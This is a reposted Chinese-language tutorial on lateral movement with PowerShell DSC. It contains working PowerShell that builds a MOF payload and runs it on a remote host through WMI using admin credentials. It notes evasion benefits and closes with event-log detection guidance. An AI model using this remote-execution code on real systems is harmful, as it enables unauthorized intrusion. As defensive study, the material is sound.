您好,登錄后才能下訂單哦!
這篇文章主要為大家展示了“怎么通過PowerShell DSC進行橫向滲透”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“怎么通過PowerShell DSC進行橫向滲透”這篇文章吧。
PowerShell期望狀態配置(DSC)允許需要執行的資源直接使用WMI,在DSC WMI類的幫助下,我們可以通過濫用內置腳本資源來實現PowerShell代碼的遠程執行。
這樣的橫向滲透技術有如下幾點好處:
1.PowerShell將在WMI服務-wmiprvse.exe環境下執行,從躲避檢測的角度來說這是一個優勢。
2.Payload的每一個組件都跟WMI有關系。
3.無需配置DSC服務。
1.ResourceTest方法必須在MSFT_DSCLocalConfigurationManager這個WMI類中,該類需位于root/Microsoft/Windows/DesiredStateConfiguration命名空間中。注意:攻擊者還可以選擇調用ResourceGet或ResourceSet方法。PowerShell DSC是在PowerShell v4中引入的,所以這項技術并不適用于全部主機。
2.默認情況下,如果你要遠程調用WMI方法,你需要擁有管理員憑證。WMI的安全是通過DCOM或WSMan安全設置來實現的,在建立遠程連接時,WMI是通過目標命名空間的安全描述符實現的(root/Microsoft/Windows/DesiredStateConfiguration)。
第一步就是準備Payload如何執行。你需要在目標主機上執行的PowerShell代碼需要是MOF格式的,下面給出的是一份Payload樣本:
$MOFContents= @'instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref{ ResourceID ="[Script]ScriptExample"; GetScript = "\"$(Get-Date): Iam being GET\" | Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True"; TestScript = "\"$(Get-Date): Iam being TESTED\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append;return $True"; SetScript = "\"$(Get-Date): Iam being SET\" | Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True"; SourceInfo = "::3::5::Script"; ModuleName = "PsDesiredStateConfiguration"; ModuleVersion = "1.0"; ConfigurationName ="ScriptTest";};instance of OMI_ConfigurationDocument{ Version="2.0.0"; MinimumCompatibleVersion ="1.0.0"; CompatibleVersionAdditionalProperties={"Omi_BaseResource:ConfigurationName"}; Author="TestUser"; GenerationDate="02/26/201807:09:21"; GenerationHost="TestHost"; Name="ScriptTest";};'@
這里,唯一需要修改的就是PowerShell Payload。在我們的樣例中,我們將調用ResourceTest方法,該方法會返回上面的“TestScript”屬性。需要注意的是,特殊字符需要轉義處理。
下一步就是把MOF轉換成二進制形式,這種數據形式也是ResourceTest方法要求的:
#Change this to false if you want to test the payload locally$ExecuteRemotely= $True$NormalizedMOFContents= [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))$NormalizedMOFBytes= [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)$TotalSize= [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)if($ExecuteRemotely) { # Prepend the length of the payload [Byte[]] $MOFBytes = $TotalSize +$NormalizedMOFBytes}else { # If executing locally, you do notprepend the payload length [Byte[]] $MOFBytes = $NormalizedMOFBytes}
在上述樣例中,如果你想在本地測試你的Payload,請不要在Byte數組中添加Payload長度。Payload正確編碼之后,剩下的就是在目標主機上執行Payload了。
#Specify the credentials of your target$Credential= Get-Credential -Credential TempUser$ComputerName= 'TargetHost'#Establish a remote WMI session with the target system$RemoteCIMSession= New-CimSession -ComputerName $ComputerName -Credential $Credential$LCMClass= Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration-ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSessionif($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) { # You may now proceed with lateralmovement $MethodArgs = @{ ModuleName ='PSDesiredStateConfiguration' ResourceType = 'MSFT_ScriptResource' resourceProperty= $MOFBytes } $Arguments = @{ Namespace ='root/Microsoft/Windows/DesiredStateConfiguration' ClassName = 'MSFT_DSCLocalConfigurationManager' MethodName= 'ResourceTest' Arguments = $MethodArgs CimSession= $RemoteCIMSession } # Invoke the DSC script resource Testmethod # Successful execution will be indicatedby "InDesiredState" returning True and ReturnValue returning 0. Invoke-CimMethod @Arguments}else { Write-Warning 'The DSC lateral movementmethod is not available on the remote system.'}
在上面的例子中,大家請注意,我首先驗證了遠程類和方法的優先級。在使用WMI技術時,我們建議大家首先驗證遠程類和方法的優先級。
接下來,代碼會將Payload下載到目標主機的磁盤中。如果你想要使用WMI來遠程獲取文件內容,你可以配合使用【這項技術】。除此之外,我這里還使用了CIM cmdlet,這個功能是在PowerShell v3中引入的,如果你需要適用v2版本的話,你還可以使用舊版本的WMI cmdlet。
幸運的是,我們可以通過檢查事件日志來發現這種攻擊活動,并進行及時檢測。
EventID: 53504
“PowerShell Named Pipe IPC”事件表明PowerShell AppDomain已啟用。當DSC執行腳本資源時,這個事件會自動捕捉“DscPsPluginWkr_AppDomain”。而AppDomain對于一次DSC執行來說是唯一的,下面是一個事件樣例:
Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain:DscPsPluginWkr_AppDomain.
EventID: 400
在正常的PowerShell日志中,事件ID 400表明一個新的PowerShell主機進程被創建。當DSC腳本資源執行時,它會生成一個唯一的事件日志條目,并對其進行簽名。下面是一個樣例(引擎狀態從NONE轉換成了Available):
Details: NewEngineState=Available PreviousEngineState=None SequenceNumber=13 HostName=Default Host HostVersion=5.1.17134.81 HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d HostApplication=C:\Windows\system32\wbem\wmiprvse.exe EngineVersion=5.1.17134.81 RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906 PipelineId= CommandName= CommandType= ScriptName= CommandPath= CommandLine=
EventID: 4102
當一個DSC資源被發送至目標主機之后,系統會響應這個事件。如果目標主機存在于一個計算機域中,那么系統會返回執行這個DSC資源的用戶SID以及源主機信息。下面是事件樣本信息:
Job{893F64B5-ABBF-11E8-B005-D336977413FC} :OperationInvoke-DscResource started by user sidS-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.
以上是“怎么通過PowerShell DSC進行橫向滲透”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。